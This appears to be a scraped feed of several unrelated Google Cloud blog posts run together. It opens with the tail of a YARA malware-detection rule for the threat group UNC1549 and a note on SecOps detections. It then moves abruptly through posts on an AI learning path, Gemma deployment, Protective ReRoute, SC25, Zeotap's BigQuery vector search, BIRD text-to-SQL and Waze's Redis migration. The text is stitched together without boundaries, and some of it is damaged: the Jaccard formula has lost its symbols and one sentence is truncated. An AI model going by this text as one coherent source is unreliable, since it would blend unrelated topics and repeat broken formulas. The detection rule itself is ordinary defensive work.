		$ = "[+] e wt!" ascii fullword
		$ = "[+] p %d!" ascii fullword
		$ = "[+] e!" ascii fullword
	condition:
		pe.is_pe and 15 of them
}

Google Security Operations Detections

Google SecOps customers receive robust detection for UNC1549 TTPs through curated threat intelligence from Mandiant and Google Threat Intelligence. This frontline intelligence is operationalized within the platform as custom detection signatures and advanced YARA-L rules.

We’re excited to launch the Production-Ready AI with Google Cloud Learning Path, a free series designed to take your AI projects from prototype to production.

This page is the central hub for the curriculum. We’ll be updating it weekly with new modules from now through mid-December.

Why We Built This: Bridging the Prototype-to-Production Gap

Generative AI makes it easy to build an impressive prototype. But moving from that proof-of-concept to a secure, scalable, and observable production system is where many projects stall. This is the prototype-to-production gap. It’s the challenge of answering hard questions about security, infrastructure, and monitoring for a system that now includes a probabilistic model.

It’s a journey we’ve been on with our own teams at Google Cloud. To solve for this ongoing challenge, we built a comprehensive internal playbook focused on production-grade best practices. After seeing the playbook’s success, we knew we had to share it.

This learning path is that playbook, adapted for all developers. The path’s curriculum combines the power of Gemini models with production-grade tools like Vertex AI, Google Kubernetes Engine (GKE), and Cloud Run.

We’re excited to share this curriculum with the developer community. Share your progress and connect with others on the journey using the hashtag #ProductionReadyAI. Happy learning! 

The Curriculum

Module 1: Developing Apps that use LLMs

Start with the fundamentals of building applications and interacting with models using the Vertex AI SDK.

Summary: Your First AI Application is Easier Than You Think

Module 2: Deploying Open Models

Learn to serve and scale open source models efficiently by deploying them on production-grade platforms like Google Kubernetes Engine (GKE), Cloud Run, and Vertex AI endpoints.

Summary: Hands-on with Gemma 3 on Google Cloud

Module 3: Developing Agents

Learn to build AI agents that can reason, plan, and use tools to accomplish complex tasks with the Agent Development Kit (ADK).

Summary: Build Your First ADK Agent Workforce

Module 4: Securing AI Applications

Master the essential practices for securing your infrastructure, data, and AI-powered endpoints in a production environment.

• Content coming soon!

Module 5: Deploying Agents

Take your agents to production by deploying them on scalable, managed platforms like Google Kubernetes Engine (GKE) and Cloud Run. 

• Content coming soon!

Module 6: Introduction to Databases

• Content coming soon!

Module 7: Evaluation

Discover how to rigorously evaluate the performance of your LLM outputs, agents, and RAG systems to ensure quality and reliability.

• Content coming soon!

Module 8: Advanced Agent Capabilities

Learn how to enhance your agent’s capabilities with agentic RAG, Model Context Protocol (MCP) tools, and Agent to Agent (A2A) protocol.

• Content coming soon!

Module 9: Advanced RAG Methods

Optimize your RAG systems by connecting to databases and using advanced techniques like sophisticated chunking, re-ranking, and query transformations.

• Content coming soon!

Module 10: Fine-Tuning

Go beyond prompting and learn how to fine-tune both open and proprietary models to improve performance on specific tasks.

• Content coming soon!

We’re committed to making this a living, evolving resource and will be adding to it over time.

Do you feel something is missing? Tell us here! 

The landscape of generative AI is shifting. While proprietary APIs are powerful, there is a growing demand for open models—models where the architecture and weights are publicly available. This shift puts control back in the hands of developers, offering transparency, data privacy, and the ability to fine-tune for specific use cases.

To help you navigate this landscape, we are releasing two new hands-on labs featuring Gemma 3, Google’s latest family of lightweight, state-of-the-art open models.

Why Gemma?

Built from the same research and technology as Gemini, Gemma models are designed for responsible AI development. Gemma 3 is particularly exciting because it offers multimodal capabilities (text and image) and fits efficiently on smaller hardware footprints while delivering massive performance.

But running a model on your laptop is very different from running it in production. You need scale, reliability, and hardware acceleration (GPUs). The question is: Where should you deploy?

We have prepared two different paths for you, depending on your infrastructure needs: Cloud Run or Google Kubernetes Engine (GKE).

Path 1: The Serverless Approach (Cloud Run)

Best for: Developers who want an API up and running instantly without managing infrastructure, scaling to zero when not in use.

If your priority is simplicity and cost-efficiency for stateless workloads, Cloud Run is your answer. It abstracts away the server management entirely. With the recent addition of GPU support on Cloud Run, you can now serve modern LLMs without provisioning a cluster.

Path 2: The Platform Approach (GKE)

Best for: Engineering teams building complex AI platforms, requiring high throughput, custom orchestration, or integration with a broader microservices ecosystem.

When your application graduates from a prototype to a high-traffic production system, you need the control of Kubernetes. GKE Autopilot gives you that power while still handling the heavy lifting of node management. This path creates a seamless journey from local testing to cloud production.

Which Path Will You Choose?

Whether you are looking for the serverless simplicity of Cloud Run or the robust orchestration of GKE, Google Cloud provides the tools to take Gemma 3 from a concept to a deployed application.

Dive into the labs today and start building:

• Serving Gemma 3 with vLLM on Cloud Run

• Deploying Open Models on GKE

Share your progress and connect with others on the journey using the hashtag #ProductionReadyAI. Happy learning!

Cloud infrastructure reliability is foundational, yet even the most sophisticated global networks can suffer from a critical issue: slow or failed recovery from routing outages. In massive, planetary-scale networks like Google’s, router failures or complex, hidden conditions can prevent traditional routing protocols from restoring service quickly, or sometimes at all. These brief but costly outages — what we call slow convergence or convergence failure — critically disrupt real-time applications with low tolerance to packet loss and, most acutely, today’s massive, sensitive AI/ML training jobs, where a brief network hiccup can waste millions of dollars in compute time. 

To solve this problem, we pioneered Protective ReRoute (PRR), a radical shift that moves the responsibility for rapid failure recovery from the centralized network core to the distributed endpoints themselves. Since putting it into production over five years ago, this host-based mechanism has dramatically increased Google’s network’s resilience, proving effective in recovering from up to 84%¹ of inter-data-center outages that would have been caused by slow convergence events. Google Cloud customers with workloads that are sensitive to packet loss can also enable it in their environments — read on to learn more.   

The limits of in-network recovery

Traditional routing protocols are essential for network operation, but they are often not fast enough to meet the demands of modern, real-time workloads. When a router or link fails, the network must recalculate all affected routes, which is known as reconvergence. In a network the size of Google’s, this process can be complicated by the scale of the topology, leading to delays that range from many seconds to minutes. For distributed AI training jobs with their wide, fan-out communication patterns, even a few seconds of packet loss can lead to application failure and costly restarts. The problem is a matter of scale: as the network grows, the likelihood of these complex failure scenarios increases.

Protective ReRoute: A host-based solution

Protective ReRoute is a simple, effective concept: empower the communicating endpoints (the hosts) to detect a failure and intelligently re-steer traffic to a healthy, parallel path. Instead of waiting for a global network update, PRR capitalizes on the rich path diversity built into our network. The host detects packet loss or high latency on its current path, and then immediately initiates a path change by modifying carefully chosen packet header fields, which tells the network to use an alternate, pre-existing path.

This architecture represents a fundamental shift in network reliability thinking. Traditional networks rely on a combination of parallel and series reliability. Serialization of components tends to reduce the reliability of a system; in a large-diameter network with multiple forwarding stages, reliability degrades as the diameter increases. In other words, every forwarding stage affects the whole system. Even if a network stage is designed with parallel reliability, it creates a serial impact on the overall network while the parallel stage reconverges. By adding PRR at the edges, we treat the network as a highly parallel system of paths that appear as a single stage, where the overall reliability increases as the number of available paths grows exponentially, effectively circumventing the serialization effects of slow network convergence in a large-diameter network. The following diagram contrasts the system reliability model for a PRR-enabled network with that of a traditional network. Traditional network reliability is in inverse proportion to the number of forwarding stages; with PRR the reliability of the same network is in direct proportion to the number of composite paths, which is exponentially proportional to the network diameter.

How Protective ReRoute works

The PRR mechanism has three core functional components:

• End-to-end failure detection: Communicating hosts continuously monitor path health. On Linux systems, the standard mechanism uses TCP retransmission timeout (RTO) to signal a potential failure. The time to detect a failure is generally a single-digit multiple of the network’s round-trip time (RTT). There are also other methods for end-to-end failure detection that have varying speed and cost.

• Packet-header modification at the host: Once a failure is detected, the transmitting host modifies a packet-header field to influence the forwarding path. To achieve this, Google pioneered and contributed the mechanism that modifies the IPv6 flow-label in the Linux kernel (version 4.20+). Crucially, the Google software-defined network (SDN) layer provides protection for IPv4 traffic and non-Linux hosts as well by performing the detection and repathing on the outer headers of the network overlay.

• PRR-aware forwarding: Routers and switches in the multipath network respect this header modification and forward the packet onto a different, available path that bypasses the failed component.

Proof of impact

PRR is not theoretical; it is a continuously deployed, 24×7 system that protects production traffic worldwide. Its impact is compelling: PRR has been shown to reduce network downtime caused by slow convergence and convergence failures by up to the above-mentioned 84%. This means that up to 8 out of every 10 network outages that would have been caused by a router failure or slow network-level recovery are now avoided by the host. Furthermore, host-initiated recovery is extremely fast, often resolving the problem in a single-digit multiple of the RTT, which is vastly faster than traditional network reconvergence times.

Key use cases for ultra-reliable networking

The need for PRR is growing, driven by modern application requirements:

• AI/ML training and inference: Large-scale workloads, particularly those distributed across many accelerators (GPUs/TPUs), are uniquely sensitive to network reliability. PRR provides the ultra-reliable data distribution necessary to keep these high-value compute jobs running without disruption.

• Data integrity and storage: Significant numbers of dropped packets can result in data corruption and data loss, not just reduced throughput. By reducing the outage window, PRR improves application performance and helps guarantee data integrity.

• Real-time applications: Applications like gaming and services like video conferencing and voice calls are intolerant of even brief connectivity outages. PRR reduces the recovery time for network failures to meet these strict real-time requirements.

• Frequent short-lived connections: Applications that rely on a large number of very frequent short-lived connections can fail when the network is unavailable for even a short time. By reducing the expected outage window, PRR helps these applications reliably complete their required connections.

Activating Protective ReRoute for your applications

The architectural shift to host-based reliability is an accessible technology for Google Cloud customers. The core mechanism is open and part of the mainline Linux kernel (version 4.20 and later).

You can benefit from PRR in two primary ways:

• Hypervisor mode: PRR automatically protects traffic running across Google data centers without requiring any guest OS changes. Hypervisor mode provides recovery in the single digit seconds for traffic of moderate fanout in specific areas of the network.

• Guest mode: For critical, performance-sensitive applications with high fan-out and in any segment of the network, you can opt into guest-mode PRR, which enables the fastest possible recovery time and greatest control. This is the optimal setting for demanding mission-critical applications, AI/ML jobs, and other latency-sensitive services.

To activate guest-mode PRR for critical applications follow the guidance in the documentation and be ready to ensure the following:

• Your VM runs a modern Linux kernel (4.20+).

• Your applications use TCP.

• The application traffic uses IPv6. For IPv4 protection, the application needs to use the gVNIC driver.

Get started

The availability of Protective ReRoute has profound implications for a variety of Google and Google Cloud users. 

• For cloud customers with critical workloads: Evaluate and enable guest-mode PRR for applications that are sensitive to packet loss and that require the fastest recovery time, such as large-scale AI/ML jobs or real-time services.

• For network architects: Re-evaluate your network reliability architectures. Consider the benefits of designing for rich path diversity and empowering endpoints to intelligently route around failures, shifting your model from series to parallel reliability.

• For the open-source community: Recognize the power of host-level networking innovations. Contribute to and advocate for similar reliability features across all major operating systems to create a more resilient internet for everyone.

^{1. https://dl.acm.org/doi/10.1145/3603269.3604867}

With the pace of scientific discovery moving faster than ever, we’re excited to join the supercomputing community as it gets ready for its annual flagship event, SC25, in St. Louis from November 16-21, 2025. There, we’ll share how Google Cloud is poised to help with our lineup of HPC and AI technologies and innovations, helping researchers, scientists, and engineers solve some of humanity’s biggest challenges.

Redefining supercomputing with cloud-native HPC

Supercomputers are evolving from a rigid, capital-intensive resource into an adaptable, scalable service. To go from “HPC in the cloud” to “cloud-native HPC,” we leverage core principles of automation and elastic infrastructure to fundamentally change how you consume HPC resources, allowing you to spin up purpose-built clusters in minutes with the exact resources you need. 

This cloud-native model is very flexible. You can augment an on-premises cluster to meet peak demand or build a cloud-native system tailored with the right mix of hardware for your specific problem — be it the latest CPUs, GPUs, or TPUs. With this approach, we’re democratizing HPC, putting world-class capabilities into the hands of startups, academics, labs, and enterprise teams alike. 

Key highlights at SC25:

• Next-generation infrastructure: We’ll be showcasing our latest H4D VMs, powered by 5th generation AMD EPYC processors and featuring Cloud RDMA for low-latency networking. You’ll also see our latest accelerated compute resources including A4X and A4X Max VMs featuring the latest NVIDIA GPUs with RDMA.

• Powering your essential applications: Run your most demanding simulations at massive scale — from Computational Fluid Dynamics (CFD) with Ansys, to Computer-Aided Engineering with Siemens, computational chemistry with Schrodinger, and risk modeling in FSI.

• Dynamic Workload Scheduler: Discover how Dynamic Workload Scheduler and its innovative Flex Start mode, integrated with familiar schedulers like Slurm, is reshaping HPC consumption. Move beyond static queues toward flexible, cost-effective, and efficient access to high-demand compute resources. 

• Easier HPC with Cluster Toolkit: Learn how Cluster Toolkit can help you deploy a supercomputer-scale cluster with less than 50 lines of code.

• High-throughput, scalable storage: Get a deep dive into Google Cloud Managed Lustre, a fully managed, high-performance parallel file system that can handle your most demanding HPC and AI workloads.

• Hybrid for the enterprise: For our enterprise customers, especially in financial services, we’re enabling hybrid cloud with IBM Spectrum Symphony Connectors, allowing you to migrate or burst workloads to Google Cloud and reduce time-to-solution.

AI-powered scientific discovery

There’s a powerful synergy between HPC and AI — where HPC builds more powerful AI, and AI makes HPC faster and more insightful. This complementary relationship is fundamentally changing how research is done, accelerating discovery in everything from drug development and climate modeling to new materials and engineering. At Google Cloud, we’re at the forefront of this transformation, building the models, tools, and platforms that make it possible. 

What to look for: 

• AI for scientific productivity: We’ll be showcasing Google’s suite of AI tools designed to enhance the entire research lifecycle. From Idea Generation agent to Gemini Code Assist with Gemini Enterprise, you’ll see how AI can augment your capabilities and accelerate discovery. 
• AI-powered scientific applications: Learn about the latest advancements in our AI-powered scientific applications including AlphaFold 3 and Weather Next
• The power of TPUs: Explore Google’s TPUs, including the latest seventh-generation Ironwood model, and discover how they can enhance AI workload performance and efficiency.

Join the Google Cloud at SC25: At Google Cloud, we believe the cloud is the supercomputer of the future. From purpose-built HPC and AI infrastructure to quantum breakthroughs and simplified open-source tools, let Google Cloud be the platform for your next discovery.

We invite you to connect with our experts and learn more. Join the Google Cloud Advanced Computing Community to engage in discussions with our partners and the broader HPC, AI, and quantum communities.

We can’t wait to see what you discover.

See us at the show:

• Visit us in booth #3724: Stop by for live demos of our latest HPC and AI solutions, including Dynamic Workload Scheduler, Cluster Toolkit, our latest AI agents, and even see our TPUs. Our team of experts will be on hand to answer your questions and discuss how Google Cloud can meet your needs.
• Attend our technical talks: Keep an eye on our SC25 schedule for Google Cloud presentations and technical talks, where our leaders and partners will share deep dives, insights, and best practices.
• Passport program: Grab a passport card from the Google booth and visit our demos, labs, and talks to collect stamps and learn about how we’re working with organizations across the HPC ecosystem to democratize HPC. Come back to the Google booth with your completed passport card to choose your prize!
• Play a game: Join us in the Google booth and at our events to enjoy some Gemini-driven games — test your tech trivia knowledge or compete head-to-head with others to build the best LEGO creation!
• Join our community kickoff: Are you a member of the Google Cloud Advanced Computing Community? Secure your spot today for our SC25 Kickoff Happy Hour!
• Celebrate with NVIDIA and Google Cloud: We’re proud to co-host a reception with NVIDIA, and we look forward to toasting another year of innovation with our customers and partners. Register today to secure your spot!

Editor’s note: The post is part of a series that highlights how organizations leverage Google Cloud’s unique data science capabilities over alternative cloud data platforms. Google Cloud’s vector embedding generation and search features are unique for their end-to-end, customizable platform that leverages Google’s advanced AI research, offering features like task-optimized embedding models and hybrid search to deliver highly relevant results for both semantic and keyword-based queries.

Zeotap’s customer intelligence platform (CIP) helps brands understand their customers and predict behaviors, so that they can improve customer engagement. Zeotap partners with Google Cloud to build a customer data platform that offers privacy, security, and compliance. Zeotap CIP, built with BigQuery, enables digital marketers to build and use AI/ML models to predict customer behavior and personalize the customer experienc

The Zeotap platform includes a customer segmentation feature called lookalike audience extensions. A lookalike audience is a group of new potential customers identified by machine learning algorithms who share similar characteristics and behaviors with an existing, high-value customer base. However, sparse or incomplete first-party data can make it hard to create effective lookalike audiences, preventing advertising algorithms from accurately identifying the key characteristics of valuable customers that they need to find similar new prospects. For such rare features, Zeotap uses multiple machine learning (ML) methodologies that combine Zeotap’s multigraph algorithm and high-quality data assets to more accurately extend customers’ audiences between the CDP and lookalike models.

In this blog, we dive into how Zeotap uses BigQuery, including BigQuery ML and Vector Search to solve the end-to-end lookalike problem. By taking a practical approach, we transformed a complex nearest-neighbour problem into a simple inner-join problem, overcoming challenges of cost, scale and performance without a specialized vector database. We break down each step of the workflow, from data preparation to serving, highlighting how BigQuery addresses core challenges along the way. We illustrate one of the techniques, Jaccard similarity with embeddings, to address the low-cardinality categorical columns that dominate user-profile datasets. 

The high-level flow is as follows, and happens entirely within the BigQuery ecosystem. Note: In this blog, we will not be covering the flow of high-cardinality columns.

Jaccard similarity

Among a couple of other similarity indexes, which return the most similar vector that are closest in embedding space, Zeotap prefers the Jaccard similarity to be a fitting index for low-cardinality features, which is a measure of overlap between two sets with a simple formula: (A B) / (AB). The Jaccard similarity answers the question, “Of all the unique attributes present in either of the two users, what percentage of them are shared?” It only cares about the features that are present in at least one of the entities (e.g., the 1s in a binary vector) and ignores attributes that are absent in both.

To visualise:

Jaccard similarity shines because it is simple and easily explainable over many other complex distance metrics and similarity indexes that only measure distance in the embeddings space — a real Occam’s razor, as it were. 

Implementation blueprint

Generating the vector embeddings
After selecting the low-cardinality features, we create our vectors using BigQuery one-hot encoding and multi-hot encoding for primitive and array-based columns. 

Again, it helps to visualize a sample vector table:

Challenge: Jaccard distance is not directly supported in BigQuery vector search!

BigQuery vector search supports three distance types: Euclidean, Cosine and Dot product, but not Jaccard distance — at least not natively. However, we can represent the choice of binary vectors where the Jaccard Distance (1 – Jaccard Similarity)  as: 

Jd(A,B) = 1 – |A∩B|/|A∪B| = (|A∪B| – |A∩B|)/|A∪B|

Using only the dot product, this can be rewritten as:

So we can, in fact, arrive at the Jaccard distance using the dot product. We found BigQuery’s out-of-the-box LP_NORM function for calculating the Manhattan norm useful, as the Manhattan norm for a binary vector is the dot product with itself. In other words, using the Manhattan norm function, we found that we can support the Jaccard distance in a way that it can be calculated using the supported “dot product” search in BigQuery. 

Building the vector index

Next, we needed to build our vector index. BigQuery supports two primary vector index types: IVF (Inverted File Index) and TREE_AH (Tree with Asymmetric Hashing), each tailored to different scenarios. The TREE_AH vector index type combines a tree-like structure with asymmetric hashing (AH), based on Google’s ScaNN algorithm, which has performed exceptionally well on various ANN benchmarks. Also, since the use case was for large batch queries (e.g., hundreds of thousands to millions of users), this offered reduced latency and cost compared to alternate vector databases.

Lookalike delivery

Once we had a vector index to optimize searches, we asked ourselves, “Should we run our searches directly using the VECTOR_SEARCH function in BigQuery?” Taking this approach over the base table yielded a whopping 118 million user-encoded vectors for just one client! Additionally, and most importantly, since this computation called for a Cartesian product, our in-memory data sizes became very large and complex quickly. We needed to devise a strategy that would scale to all customers.

The rare feature strategy

A simple but super-effective strategy is to avoid searching for ubiquitous user features. In a two-step rare-feature process, we identify the “omnipresent” features, then proceed to create a signal-rich table that includes users who possess at least one of the rarer/discriminative features. Right off the bat, we achieved up to 78% reduction in search space. BigQuery VECTOR_SEARCH allows you to do this with pre-filtering, wherein you use a subquery to dynamically shrink the search space. The catch is that the subquery cannot be a classic join, so we introduce a “flag” column and make it part of the index. Note: If a column is not stored in the index, then the WHERE clause in the VECTOR_SEARCH will execute a post-filter.

Batch strategy

Vector search compares query users (N, the users we’re targeting) against base users (M, the total user pool, in this case 118M). The complexity increases with (M × N), making large-scale searches resource-intensive. To manage this, we applied batches to the N query users, processing them in groups (e.g., 500,000 per batch), while M remained the full base set. This approach reduced the computational load, helping to efficiently match the top 100 similar users for each query user. We then used grid search to determine the optimal batch size for high-scale requirements.

To summarize

We partnered with Google Cloud to enable digital marketers to build and use AI/ML models for customer segmentation and personalized experiences, driving higher conversion rates and lower acquisition costs. We addressed the challenge of Jaccard distance not being directly supported in BigQuery Vector Search by using the dot product and Manhattan norm. This practical approach, leveraging BigQuery ML and vector offerings, allowed us to create bespoke lookalike models with just one single SQL script and overcome challenges of cost, scale, and performance without a specialized vector database.

Using BigQuery ML and vector offerings, coupled with its robust, serverless architecture, we were able to release bespoke lookalike models catering to individual customer domains and needs. Together, Zeotap and Google Cloud look forward to partnering to help marketers expand their reach everywhere.

The Built with BigQuery advantage for ISVs and data providers

Built with BigQuery helps companies like Zeotap build innovative applications with Google Data Cloud. Participating companies can:

• Accelerate product design and architecture through access to designated experts who can provide insight into key use cases, architectural patterns, and best practices.

• Amplify success with joint marketing programs to drive awareness, generate demand, and increase adoption.

BigQuery gives ISVs the advantage of a powerful, highly scalable unified Data Cloud for the agentic era, that’s integrated with Google Cloud’s open, secure, sustainable platform. Click here to learn more about Built with BigQuery.

In the fast-evolving world of agentic development, natural language is becoming the standard for interaction. This shift is deeply connected to the power of operational databases, where a more accurate text-to-SQL capability is a major catalyst for building better, more capable agents. From empowering non-technical users to self-serve data, to accelerating analyst productivity, the ability to accurately translate natural language questions into SQL is a game-changer. As end-user engagements increasingly happen over chat, conversations become the fundamental connection between businesses and their customers. 

In an earlier post, “Getting AI to write good SQL: Text-to-SQL techniques explained,” we explored the core challenges of text-to-SQL — handling complex business context, ambiguous user intent, and subtle SQL dialects — and the general techniques used to solve them.

Today, we’re moving from theory to practice. We’re excited to share that Google Cloud has scored a new state-of-the-art result on the BIRD benchmark’s Single Trained Model Track. We scored 76.13, ahead of any other single-model solution (higher is better). In general, the closer you get to the benchmark of human performance (92.96), the harder it is to score incremental gains. 

BIRD (BIg Bench for LaRge-scale Database Grounded Text-to-SQL Evaluation) is an industry standard for testing text-to-SQL solutions. BIRD spans over 12,500 unique question-SQL pairs from 95 databases with a total size of 33 GB. The Single Trained Model Track is designed to measure the raw, intrinsic capability of the model itself, restricting the use of complex preprocessing, retrieval, or agentic frameworks often used to boost model accuracy. In other words, success here reflects an advancement in the model’s core ability to generate SQL.

From research to industry-leading products

This leap in more accurate natural-language-to-SQL capability, often referred to as NL2SQL, isn’t just an internal research or engineering win; it fundamentally elevates the customer experience across several key data services,and our state-of-the-art research in this field is enabling us to create industry-leading products that customers leverage to activate their data with agentic AI.

Consider AlloyDB AI’s natural language capability, a tool that customers use to allow end users to query the most current operational data using natural language. For instance, companies like Hughes, an Echostar Corporation, depend on AlloyDB’s NL2SQL for critical tasks like call analytics. Numerous other retail, technology, and industry players also integrate this capability into their customer-facing applications. With NL2SQL that is near-100% accurate, customers gain the confidence to build and deploy applications in production workloads that rely on real-time data access.

The benefits of NL2SQL extend to analysis, as exemplified with conversational analytics in BigQuery. This service lets business users and data analysts explore data, run reports, and extract business intelligence from vast historical datasets using natural language. The introduction of a multi-turn chat experience, combined with a highly accurate NL2SQL engine, helps them make informed decisions with the confidence that the responses from BigQuery-based applications are consistently accurate.

Finally, developers are finding new efficiencies. They have long relied on Google Code Assist (GCA) for code generation, aiding their application development with databases across Spanner, AlloyDB, and Cloud SQL Studio. With the availability of more accurate NL2SQL, developers will be able to use AI coding assistance to generate SQL code too. 

BIRD: a proving ground for core model capability

BIRD benchmark is one of the most commonly used benchmarks in the text-to-SQL field. It moves beyond simple, single-table queries to cover real-world challenges our models must handle, such as reasoning over very large schemas, dealing with ambiguous values, and incorporating external business knowledge. Crucially, BIRD measures a critical standard: execution-verified accuracy. This means a query is not just considered ‘correct’ if it appears right; it must also successfully run and return the correct data.

We specifically targeted the Single Trained Model Track because it allows us to isolate and measure the model’s core ability to solve the text-to-SQL task (rather than an ensemble, a.k.a., a system with multiple components such as multiple parallel models, re-rankers, etc.). This distinction is critical, as text-to-SQL accuracy can be improved with techniques like dynamic few-shot retrieval or schema preprocessing; this track reflects the model’s true reasoning power. By focusing on a single-model solution, these BIRD results demonstrate that enhancing the core model creates a stronger foundation for systems built on top of it.

Our method: Specializing the model

Achieving a state-of-the-art score doesn’t happen only by using a powerful base model. The key is to specialize the model. We developed a recipe designed to transform the model from a general-purpose reasoner into a highly specialized SQL-generation expert.

This recipe consisted of three critical phases applied before inference:

1. Rigorous data filtering: Ensuring the model learns from a flawless, “gold standard” dataset.

2. Multitask learning: Teaching the model not just to translate, but to understand the implicit subtasks required for writing a correct SQL query.

3. Test-time scaling: “Self consistency” a.k.a., picking the best answer.

 Let’s break down each step.

Step 1: Start with a clean foundation (data filtering)

One important tenet of fine-tuning is “garbage in, garbage out.” A model trained on a dataset with incorrect, inefficient, or ambiguous queries may learn incorrect patterns. The training data provided by the BIRD benchmark is  powerful, but like most large-scale datasets, it’s not perfect.

Before we could teach the model to be a SQL expert, we had to curate a gold-standard dataset. We used a rigorous two-stage pipeline: first, execution-based validation to execute every query and discard any that failed, returned an error, or gave an empty result. Second, we used LLM-based validation, where multiple LLMs act as a “judge” to validate the semantic alignment between the question and the SQL, catching queries that run but don’t actually answer the user’s question. This aggressive filtering resulted in a smaller, cleaner, and more trustworthy dataset that helped our model learn from a signal of pure quality rather than noise.

Step 2: Make the model a SQL specialist (multitask learning)

With a clean dataset, we could move on to the supervised fine-tuning itself. This is the process of taking a large, general-purpose model — in our case, Gemini 2.5-pro — and training it further on our narrow, specialized dataset to make it an expert in a specific task.

To build these skills directly into the model, we leveraged the publicly available Supervised Tuning API for Gemini on Vertex AI. This service provided the foundation for our multitask supervised finetuning (SFT) approach, where we trained Gemini-2.5-pro on several distinct-but-related tasks simultaneously.

We also extended our training data to cover tasks outside of the main Text-to-SQL realm, helping enhance the model’s reasoning, planning, and self-correction capabilities.

By training on this combination of tasks in parallel, the model learns a much richer, more robust set of skills. It goes beyond simple question-to-query mapping — it learns to deeply analyze the problem, plan its approach, and refine its own logic, leading to drastically improved accuracy and fewer errors.

Step 3: Inference accuracy + test-time scaling with self-consistency

The final step was to ensure we could reliably pick the model’s single best answer at test time. For this, we used a technique called self-consistency.

With self-consistency, instead of asking the model for just one answer, we ask it to generate several query candidates for the same question. We then execute these queries, cluster them by their execution results, and select a representative query from the largest cluster. This approach is powerful because if the model arrives at the same answer through different reasoning paths, that answer has a much higher probability of being correct.

It’s important to note that self-consistency is a standard, efficient method, but it is not the only way to select a query. More complex, agentic frameworks can achieve even higher accuracy. For example, our team’s own research on CHASE-SQL (our state-of-the-art ensembling methodology) demonstrates that using diverse candidate generators and a trained selection agent can significantly outperform consistency-based methods.

For this benchmark, we wanted to focus on the model’s core performance. Therefore, we used the more direct self-consistency method: we generated several queries, executed them, and selected a query from the group that produced the most common result. This approach allowed us to measure the model’s raw text-to-SQL ability, minimizing the influence of a more complex filtering or reranking system.

The BIRD Single-Model Track explicitly allows for self-consistency, which reflects the model’s own internal capabilities. The benchmark categorizes submissions based on the number of candidates used (‘Few’, ‘Many’, or ‘Scale’). We found our “sweet spot” in the “Few” (1-7 candidates) category.

This approach gave us the final, critical boost in execution accuracy that pushed our model to the top of the leaderboard. More importantly, it proves our core thesis: by investing in high-quality data and instruction tuning, you can build a single model that is powerful enough to be production-ready without requiring a heavy, high-latency inference framework.

A recipe for customizing Gemini for text-to-SQL

A combination of clean data, multi-task learning, and efficient self-consistency allowed us to take the powerful Gemini 2.5-pro model and build a specialist that achieved the top-ranking score on the BIRD single-model benchmark.

Our fine-tuned model represents a much stronger baseline for text-to-SQL. However, it’s important to note that this score is not the upper bound of accuracy. Rather, it is the new, higher baseline we have established for the core model’s capability in a constrained setting. These results can be further amplified by either

1. creating an ensemble, aka integrating this specialist model into a broader system that employs preprocessing (like example retrieval) or agentic scaffolding (like our CHASE-SQL research), or

2. optimizing model quality for your unique database by enhancing metadata and/or query examples (which is how our customers typically deploy production workloads). 

Nevertheless, the insights from this research are actively informing how we build our next-generation AI-powered products for Google Data Cloud, and we’ll continue to deliver these enhancements in our data services. 

Explore advanced text-to-SQL capabilities today

We’re constantly working to infuse our products with these state-of-the-art capabilities, starting with bringing natural language queries to applications built on AlloyDB and BigQuery. For AI-enhanced retrieval, customers especially value AlloyDB and its AI functions. AlloyDB integrates AI capabilities directly into the database, allowing developers to run powerful AI models using standard SQL queries without moving data. It offers specialized operators such as AI.IF() for intelligent filtering, AI.RANK() for semantic reranking of search results, and AI.GENERATE() for in-database text generation and data transformation.

And if you want to write some SQL yourself, Gemini Code Assist can help. With a simple prompt, you can instruct Gemini as to the query you want to create. Gemini will generate your code and you can immediately test it by executing it against your database. We look forward to hearing about what you build with it!

Editor’s note: Waze (a division of Google parent company Alphabet) depends on vast volumes of dynamic, real-time user session data to power its core navigation features, but scaling that data to support concurrent users worldwide required a new approach. Their team built a centralized Session Server backed by Memorystore for Redis Cluster, a fully managed service with 99.99% availability that supports partial updates and easily scales to Waze’s use case of over 1 million MGET commands per second with ~1ms latency. This architecture is the foundation for Waze’s continued backend modernization.

Real-time data drives the Waze app experience. Our turn-by-turn guidance, accident rerouting, and driver alerts depend on up-to-the-millisecond accuracy. But keeping that experience seamless for millions of concurrent sessions requires robust and battle hardened infrastructure that is built to manage a massive stream of user session data. This includes active navigation routes, user location, and driver reports that can appear and evolve within seconds.

Behind the scenes, user sessions are large, complex objects that update frequently and contribute to an extremely high volume of read and write operations. Session data was once locked in a monolithic service, tightly coupled to a single backend instance. That made it hard to scale and blocked other microservices from accessing the real-time session state. To modernize, we needed a shared, low-latency solution that could handle these sessions in real time and at global scale. Memorystore for Redis Cluster made that possible.

Choosing the right route

As we planned the move to a microservices-based backend, we evaluated our options, including Redis Enterprise Cloud, a self-managed Redis cluster, or continuing with our existing Memcached via Memorystore deployment. In the legacy setup, Memcached stored session data behind the monolithic Realtime (RT) server, but it lacked the replication, advanced data types, and partial update capabilities we wanted. We knew Redis had the right capabilities, but managing it ourselves or through a third-party provider would add operational overhead. 

Memorystore for Redis Cluster offered the best of both worlds. It’s a fully managed service from Google Cloud with the performance, scalability, and resilience to meet Waze’s real-time demands. It delivers a 99.99% SLA and a clustered architecture for horizontal scaling. With the database decision made, we planned a careful migration from Memcached to Memorystore for Redis using a dual-write approach. For a period, both systems were updated in parallel until data parity was confirmed. Then we cut over to Redis with zero downtime.

Waze’s new data engine

From there, we built a centralized Session Server – our new command center for active user sessions – as a wrapper around Memorystore for Redis Cluster. This service became the single source of truth for all active user sessions, replacing the tight coupling between session data and the monolithic RT server. The Session Server exposes simple gRPC APIs, allowing any backend microservice to read from or write to the session state directly, including RT during the migration. This eliminated the need for client affinity, freed us from routing all session traffic through a single service, and made session data accessible across the platform.

We designed the system for resilience and scale from the ground up. Redis clustering and sharding remove single points of contention, letting us scale horizontally as demand grows. Built-in replication and automatic failover are designed to keep sessions online. While node replacements may briefly increase failure rates and latency for a short period, sessions are designed to stay online, allowing the navigation experience to quickly stabilize. And with support for direct gRPC calls from the mobile client to any backend service, we can use more flexible design patterns while shaving precious milliseconds off the real-time path.

Fewer pit stops, faster rides

Moving from Memcached’s 99.9% SLA to Memorystore for Redis Cluster’s 99.99% means higher availability and resiliency from the service. Load testing proved the new architecture can sustain full production traffic, comfortably handling bursts of up to 1 million MGET commands per second with a stable sub-millisecond service latency. 

